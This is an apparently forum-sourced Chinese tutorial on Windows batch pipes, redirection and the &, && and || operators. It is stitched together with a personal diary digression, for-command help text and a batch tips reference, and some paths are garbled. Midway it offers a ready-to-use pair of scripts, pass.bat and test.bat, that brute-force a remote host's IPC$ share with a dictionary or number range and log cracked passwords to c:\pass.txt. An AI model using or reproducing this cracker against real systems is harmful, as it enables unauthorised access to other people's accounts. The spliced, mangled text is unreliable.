這個指令恐怕大家不是很陌生,經常操作DOS的朋友都應該知道,當我們檢視一個指令的幫助時,如果幫助資訊比較長,一螢幕顯示不完時DOS并不給我們時間讓我們看完一螢幕再翻到另一螢幕,而是直接顯示到幫助資訊的最後。如在提示符下輸入help回車時,就會看到目前DOS版本所支援的所有非隐含指令,但你隻能看到最後的那些指令,前面的早就一閃而過了,如何解決這個問題?看例十三:
help | more
回車後會發現顯示滿一螢幕後就自動暫停,等候繼續顯示其他資訊。當按寫回車時,變成一個一個的出現;按下空格鍵時一螢幕一螢幕顯示,直到全部顯示完為止;按其他鍵自動停止傳回DOS。
為什麼會出現上述現象?答案很簡單,這裡結合了管道指令|和DOS指令more來共同達到目的的。這裡先簡單介紹一下help指令和more指令,對了解|指令的用法有很大幫助。
11.1、help指令。其實這個指令是不需要多說的,但在上述例子中help指令的用法比較特殊,直接在DOS提示符下輸入help指令,結果是讓
DOS顯示其所支援的所有非隐含指令,而在其他地方用help指令,如輸入net help回車,則是顯示net指令的幫助資訊。
11.2、more指令。可能很多朋友以前就沒有接觸過這個指令,這個指令在Linux下的用處非常廣泛,也是管道指令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個指令去比較一下差别:more
a.txt和type
a.txt。利用more指令,可以達到逐屏或逐行顯示輸出的效果,而type指令隻能一次把輸出顯示完,最後的結果就是隻能看到末尾的部分。在例十三裡,more指令的作用就是讓輸出的資訊逐屏或逐行顯示。
看到這裡,你是否已經能隐約感受到了|指令的作用了?沒錯,它的作用,就是把前一指令的輸出當後一指令的輸入來用的。在例十三裡,前一指令的輸出,就是
help指令執行後顯示的DOS所支援的所有非隐含指令,而這個結果剛好做了後一指令more的輸入。是以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
這裡利用另一管道指令>生成了一個a.txt檔案作為中間環節,在用more指令檢視a.txt檔案後再删除a.txt檔案(例十三的所有操作是在記憶體中進行的,不生成檔案)。可以看出,正确使用管道指令|可以帶來事半功倍的效果。
結合例十三和例十四,以及前面的例九再體會一遍:|指令的作用,就是讓前一指令的輸出當做後一指令的輸入。
12、>、>>
這兩個指令的效果從本質上來說都是一樣的,他們都是輸出重定向指令,說的通俗一點,就是把前面指令的輸出寫入到一個檔案中。這兩個指令的唯一差別是,>會清除掉原有檔案中的内容後把新的内容寫入原檔案,而>>隻會另起一行追加新的内容到原檔案中,而不會改動其中的原有内容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example.
>> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下輸入以上各行指令,一行一個回車,将在目前目錄下生成一個a.bat檔案,裡面的内容如下:
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
看到這裡,你得到了多少資訊?1、可以直接在DOS提示符下利用echo指令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道指令>
和>>的差別如上所述。如果這裡隻用>指令來完成上面操作,最後也會生成一個a.bat,但裡面的内容就隻剩下最後一行exit了。是以>和>>一般都聯合起來用,除非你重定向的輸出隻有一行,那麼就可以隻用>了。結合例一再仔細體會輸出重定向管道指令>
和>>的用法。
13、<、>&、<&
這三個指令也是管道指令,但它們一般不常用,你隻需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。
<,輸入重定向指令,從檔案中讀入指令輸入,而不是從鍵盤中讀入。
>&,将一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入并将其寫入到另一個句柄輸出中。
關于這三個管道指令的舉例,在後面批處理腳本的精妙應用中還将涉及到。
下面介紹組合指令:&、&&、||
組合指令,顧名思義,就是可以把多個指令組合起來當一個指令來執行。這在批處理腳本裡是允許的,而且用的非常廣泛。它的格式很簡單----既然現在已經成了一個檔案了,那麼這多個指令就要用這些組合指令連接配接起來放在同一行----因為批處理認行不認指令數目。組合指令的作用,就如同給夫妻陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先後順序,有些話是否可以同時說。在批處理腳本裡也一樣,有些時候某些指令是不能同時執行的,後面給你說。
剛剛又送走了一個同學,人去樓空的感覺越來越明顯,望着空蕩蕩的床鋪,平日裡喧鬧的宿舍就隻剩下我一個人了,整個世界隻有那個平時令人非常讨厭的老鼠這時候才顯得可愛起來----隻有它會陪着我在這不敢開燈的漆黑夜裡----一個連期末考試都應付不了的失敗男人。失敗!我感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信号,簡直讓這篇未完成的教程夭折。但我能怪誰?
忙碌了一學期要過年了卻挂了科,失敗;挂了科也倒罷了,竟然一個人拖全班的後退,失敗中的失敗;更失敗的,是在這最失落的時候,竟然找不到一個人可以傾訴;然而最失敗的,是突然發現自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:為什麼明知道那段情是一個旋渦卻還心甘情願的往裡面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再一個人的時候苦苦等待;不再愛了,我不要在你給的囚籠裡憐憫的愛;不再愛了,我不要在别人的視線裡如此可笑;不再愛,我不再愛。就算塌下來,我也要一個人扛着,頭不能低腰不能彎,不能喘息不能傾訴,因為雖然失敗,但還是男人,是男人就不能向困難低頭!
14、&
這可以說是最簡單的一個組合指令了,它的作用是用來連接配接n個DOS指令,并把這些指令按順序執行,而不管是否有指令執行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實這句和move a.txt
b.txt的效果是一樣的,隻不過前者是分了兩步來進行的(在後面還将涉及到具體使用哪種方法的問題)。這個指令很簡單,就不多費口舌了,唯一需要注意的一點是,這裡&兩邊的指令是有執行順序的,從前往後執行。
15、&&
切記,這裡介紹的幾個指令都是組合指令,是以他們前後都必須都有其他指令(要不如何組合?)。這個指令也不例外,它可以把它前後兩個指令組合起來當一個指令來用,與&指令不同之處在于,它在從前往後依次執行被它連接配接的幾個指令時會自動判斷是否有某個指令執行出錯,一旦發現出錯後将不繼續執行後面剩下的指令。這就為我們自動化完成一些任務提供了友善。例十七:
dir 檔案://1%/www/user.mdb && copy
檔案://1%/www/user.mdb e:\backup\www
如果遠端主機存在user.mdb,則copy到本地e:\backup\www,如果不存在當然就不執行copy了。這句對搞網管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:
if exist 檔案://1%/www/user.mdb copy
至于你喜歡用哪個就随便了,我沒辦法判斷dir和if兩個指令哪一個執行效率更高,是以不知道用哪個更好,呵呵。
你是否還記得“有些指令是不能同時執行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C槽和D盤的檔案和檔案夾列出到a.txt檔案中。你将如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執行兩個dir,然後把得到的結果>到a.txt裡就ok了嘛,看例十八:
dir c:\ && dir d:\ > a.txt
仔細研究一下這句執行後的結果,看看是否能達到題目的要求!錯了!這樣執行後a.txt裡隻有D盤的資訊!為什麼?就因為這裡&&指令和>指令不能同時出現一個句子裡(批處理把一行看成一個句子)!!組合指令&&的優先級沒有管道指令>的優先級高(自己總結的,不妥的地方請指正)!是以這句在執行時将本分成這兩部分:dir
c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和>
a.txt。要使用組合指令&&達到題目的要求,必須得這麼寫:
dir c:\ > a.txt && dir d:\ >>
a.txt
這樣,依據優先級高低,DOS将把這句話分成以下兩部分:dir c:\ > a.txt和dir
d:\ >> a.txt。例十八中的幾句的差别比較特殊,值得好好研究體會一下。
當然這裡還可以利用&指令(自己想一下道理哦):
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
這個指令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執行多條指令時,當遇到一個執行正确的指令就退出此指令組合,不再繼續執行下面的指令。題目:檢視目前目錄下是否有以s開頭的exe檔案,如果有則退出。例十九:
dir s*.exe || exit
其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe檔案,就退出;如果不存在那個exe檔案,也退出!為什麼?因為如果不存在那個.exe檔案,則前一條指令dir
s*.exe執行肯定是不成功的,是以就繼續執行exit,自然就退出了,呵呵。那麼如何解決題目給出的問題呢?看例二十:
dir s*.exe || echo Didn't exist file s*.exe &
這樣執行的結果,就能達到題目的要求,是否存在s*.exe将出現兩種結果。這裡加暫停的意思,當然是讓你能看到echo輸出的内容,否則一閃而過的視窗,echo就白寫了。
給出兩個更好研究優先級(同時也是更難了解)的腳本,仔細研究它們的差別,以便徹底了解各種指令的優先級順序,對以後自己利用這些指令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:
dir a.ttt /a & dir a.txt || exit
例二十二:
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如鬥,重者血管爆裂。任何人由于研究這兩個腳本的差別而造成的任何事故由自己或其合法監護人負責,與本人和本論壇無關。特此警告!
有關管道指令群組合指令就大概介紹到這裡了,不知道聰明的你是否了解?呵呵,能了解就成天才了,除非你以前就已經掌握!千萬别小看了這幾個鬼指令,大棒槌是我的說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最後得出的結論如上所述,已經一點不剩的交給你了,希望你好好收藏并消化吸收,當然有錯誤被你發現了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!
這幾個指令真的把我的頭都搞大了。在網上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過瘾。在對for等指令介紹時就一個for
/? > a.txt & start a.txt完事了(當然這一點上我不能說人家什麼,畢竟我連for
/?都沒給出),而對上述管道指令群組合指令、以及這篇教程以後将講到的用批處理操作系統資料庫等方面根本沒有介紹。我之是以花整整一章來講管道指令群組合指令,是因為他們才是批處理的精華和靈魂,能否正确利用好這幾個指令,是能否掌握批處理的前提條件。如for、set等DOS指令的問題,可以從DOS的角度出發專門有針對性的學習,但有關這幾個指令的問題,卻是不容易精通掌握的----他們之間的關系太複雜了!
将下列代碼存為bat檔案
1、如果用字典破解:pass.bat 字典檔案路徑及名稱 主機 使用者名
2、如果用數字破解:pass.bat 起始數 步長 結束數 主機使用者名
密碼破解出來之後,存放于c:\pass.txt檔案裡面。
将下列代碼存為pass.bat檔案
echo
-------------------------------------------------------------------
>>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解結果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call
test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do
call test.bat %4 "%%i" %5
:quit
将下列代碼存為test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一指令執行傳回結果,net use成功傳回0,失敗傳回2
:answer0
echo 遠端主機:"%1" >>c:\pass.txt
echo 用 戶:"%3" >>c:\pass.txt
echo 密 碼:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
:answer2
For
對一組檔案中的每個檔案運作指定的指令。
可以在批處理程式中或直接從指令提示符使用 for 指令。
要在批處理程式中使用 for 指令,請使用以下文法:
for %%variable in (set) docommand
[command-parameters]
要在指令提示符下使用 for,請使用以下文法:
for %variable in (set) do command
參數
%%variable 或 %variable
代表可替換的參數。for 指令使用在 set 中指定的每個文本字元串替換 %%variable(或
%variable),直到此指令(在 command-parameters 中指定)處理所有的檔案為止。使用 %% variable 在批處理程式中執行 for
指令。使用 % variable 通過指令提示符執行 for 指令。變量名區分大小寫。
(set)
指定要用指定的指令處理的一個或多個檔案或文本字元串。需要括号。
command
指定要在指定的 set 所包含的每個檔案上執行的指令。
command-parameters
指定要用于指定指令(如果指定的指令要使用任何參數或開關)的任何參數或開關。
如果啟用了指令擴充(Windows 2000 中的預設設定),将支援 for 指令的其他形式。
For 指令的其他形式
如果啟用了指令擴充,将支援如下 for 指令的其他格式:
隻限于目錄
for /D [%% | %]variable in (set) docommand
如果 set 包含通配符(* 和 ?),則指定與目錄名比對,而不是檔案名。
遞歸
for /R [[drive :]path] [%% | %]variable in (set)
docommand [command-parameters]
進入根目錄樹[drive:]path,在樹的每個目錄中執行 for 語句。如果在 /R
後沒有指定目錄,則假定為目前目錄。如果 set 隻是一個句号 (.) 字元,則隻列舉目錄樹。
疊代
for /L [%% | %]variable in (start,step,end) do
command [command-parameters]
集合是一系列按步長量劃分的、從頭到尾的數字。這樣,(1,1,5) 将生成序列 1 2 3 4 5,而
(5,-1,1) 将生成序列 (5 4 3 2 1)。
BAT檔案技巧
文章結構
1. 所有内置指令的幫助資訊
2. 環境變量的概念
3. 内置的特殊符号(實際使用中間注意避開)
4. 簡單批處理檔案概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用指令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的幫助輸出到一個檔案
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll
Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping
5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
path: 表示可執行程式的搜尋路徑. 我的建議是你把你的程式copy 到
%windir%system32. 這個目錄裡面. 一般就可以自動搜尋到.
文法: copy mychenxu.exe %windir%system32.
使用點(.) 便于一目了然
對環境變量的引用使用(英文模式,半角)雙引号
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時檔案目錄
%windir% 系統目錄
%errorlevel% 退出代碼
輸出檔案到臨時檔案目錄裡面.這樣便于目前目錄整潔.
對有空格的參數. 你應該學會使用雙引号("") 來表示比如對porgram file檔案夾操作
C:>dir p*
C: 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47
Program Files
1 個檔案 2,164 位元組
1 個目錄 1,505,997,824 可用位元組
C:>cd pro*
C:Program Files>
C:>
C:>cd "Program Files"
微軟裡面内置了下列字元不能夠在建立的檔案名中間使用
con nul aux / | || && ^ > < *
You can use most characters as variable values,
including white space. If you use the special characters <, >, |, &,
or ^, you must precede them with the escape character (^) or quotation marks. If
you use quotation marks, they are included as part of the value because
everything following the equal sign is taken as the value. Consider the
following examples:
(大意: 要麼你使用^作為前導字元表示.或者就隻有使用雙引号""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name",
type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( )
are special characters that must be preceded by the escape character (^) or
quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt >
nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo
filename. missing
> 建立一個檔案
>> 追加到一個檔案後面
@ 字首字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符号( > < &)的前導字元. 第一個隻是顯示aaa
第二個輸出檔案bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含指令
(echo aa & echo bb)
, 和空格一樣的預設分隔符号.
; 注釋,表示後面為注釋
: 标号作用
| 管道操作
& Usage:第一條指令 & 第二條指令 [& 第三條指令...]
用這種方法可以同時執行多條指令,而不管指令是否執行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage:第一條指令 && 第二條指令 [&&
第三條指令...]
當碰到執行出錯的指令後将不執行後面的指令,如果一直沒有出錯則一直執行完所有指令;
|| Usage:第一條指令 || 第二條指令 [|| 第三條指令...]
當碰到執行正确的指令後将不執行後面的指令,如果沒有出現正确的指令則一直執行完所有指令;
常用文法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command
[command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in
(myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行注釋字元的結尾(就一個)